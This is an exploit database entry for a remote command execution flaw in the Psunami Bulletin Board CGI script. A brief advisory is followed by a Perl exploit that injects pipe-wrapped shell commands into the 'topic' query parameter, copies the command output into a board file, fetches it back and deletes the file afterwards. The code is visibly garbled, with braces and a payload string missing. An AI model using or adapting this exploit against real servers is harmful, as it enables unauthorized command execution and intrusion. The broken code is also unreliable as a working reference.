Psunami Bulletin Board 0.x Psunami.CGI Remote Command Execution Vulnerability 1

ID EDB-ID:22169
Type exploitdb
Reporter dodo
Modified 2003-01-13T00:00:00


Psunami Bulletin Board 0.x Psunami.CGI Remote Command Execution Vulnerability (1). Webapps exploit for cgi platform


Psunami Bulletin Board is prone to a remote command execution vulnerability.

Psunami does not sufficiently sanitize shell metacharacters from query string parameters. As a result, it may be possible for a remote attacker to execute arbitrary commands in the context of the webserver process.

	use IO::Socket;
	#Psunami Bulletin Board CGI remote command execution
	#tested on version 0.5.2
	#PsunamiBB doesn't look for escape characters in the GET variables
	#When u view a thread u can escape your command:
	#U can execute your command by:
	#|ls -al /|
	#The command will be executed, however it will not be shown...
	#This is perlscript makes use of the forum and displays your command
	# usage: ./ <hostname> <path> [urlenc cmd]
	# example: / /cgi-bin/board/psunami/ ls%20-al | tr -s \\\\v \\\\n
	# //note: tr is used to convert the \n's to \v's and back, so it fits in the bbfiles
	# u might have to adjust the wait times depending on connection and server
	# when there is no results, u should try again, it's often a matter of multiple tries
	# the server must also run tr, this is essential for this exploit to see the cmd output 
	#dodo []
	 if(!$ARGV[0] || !$ARGV[1])
	 print "PsunamiBB remote execution CGI exploit\nby dodo []\n\n";
	 print "usage: ./ <hostname> <path> [urlenc cmd]\n";
	 print "example: ./ /cgi-bin/board/psunami/ ls%20-al | tr -s \\\\v \\\\n \n\n";
	 print "if it doesnt seemwork, try adjusting the sleep times or try multiple times\nyour command output should 
be somewhere in the html output\n";
	$path = $ARGV[1];
	$host = $ARGV[0];
	if (!$ARGV[2]) {
	$cmd = "uname%20-a";
	} else {
	$cmd = $ARGV[2];
	$port   = 80;
	$sleep   = 2; #overal sleep
	$sleep_view  = 6; 
	$sleep_view2  = 4;
	$append = "psunami.cgi?action=topic&board=1&topic=|echo%200::dodo::0::0::%3Epsunami/board1/dodo|";
	$append1 = "psunami.cgi?action=topic&board=1&topic=|$cmd|tr%20-s%20\\\\n%20\\\\v%3E%3Epsunami/board1/dodo|";
	$append2 = 
	$append3 = "psunami.cgi?action=topic&board=1&topic=dodo";
	$append4 = "psunami.cgi?action=topic&board=1&topic=|rm%20psunami/board1/dodo|";
	$i = 0;
	while ($i<5)
	$socket = new IO::Socket::INET (
	    Proto    => "tcp",
	                                PeerAddr => $host,
	                                PeerPort => $port,
	die "unable to connect to $host:$port ($!)\n" unless $socket;
	 if ($i eq 0) {
	 print $socket "GET $path$append\nHTTP/1.0\n";
	 print "sending 1\n";
	 sleep $sleep;
	        if ($i eq 1) {
	 print $socket "GET $path$append1\nHTTP/1.0\n";
	 print "sending 2\n";
	        if ($i eq 2) {
	 print $socket "GET $path$append2\nHTTP/1.0\n";
	 print "sending 3\n";
	        if ($i eq 3) {
	 print "receiving data\n";
	 sleep $sleep_view;
	 print $socket "GET $path$append3\nHTTP/1.0\n";
	   while (defined($line = <$socket>)) {
	  $recv .= $line;
	 sleep $sleep_view2;
	 if ($i eq 4) {
	 print "cleaning up...";
	 sleep $sleep;
	 print $socket "GET $path$append4\nHTTP/1.0\n";
	 print "done\n";
	print $recv;
	print "the above is received from the server, if you have a 404 or 403, theres somethin wrong
	if not, and no command output, try again..
	if command ouput buggy, convert \\v to \\n with tr\n";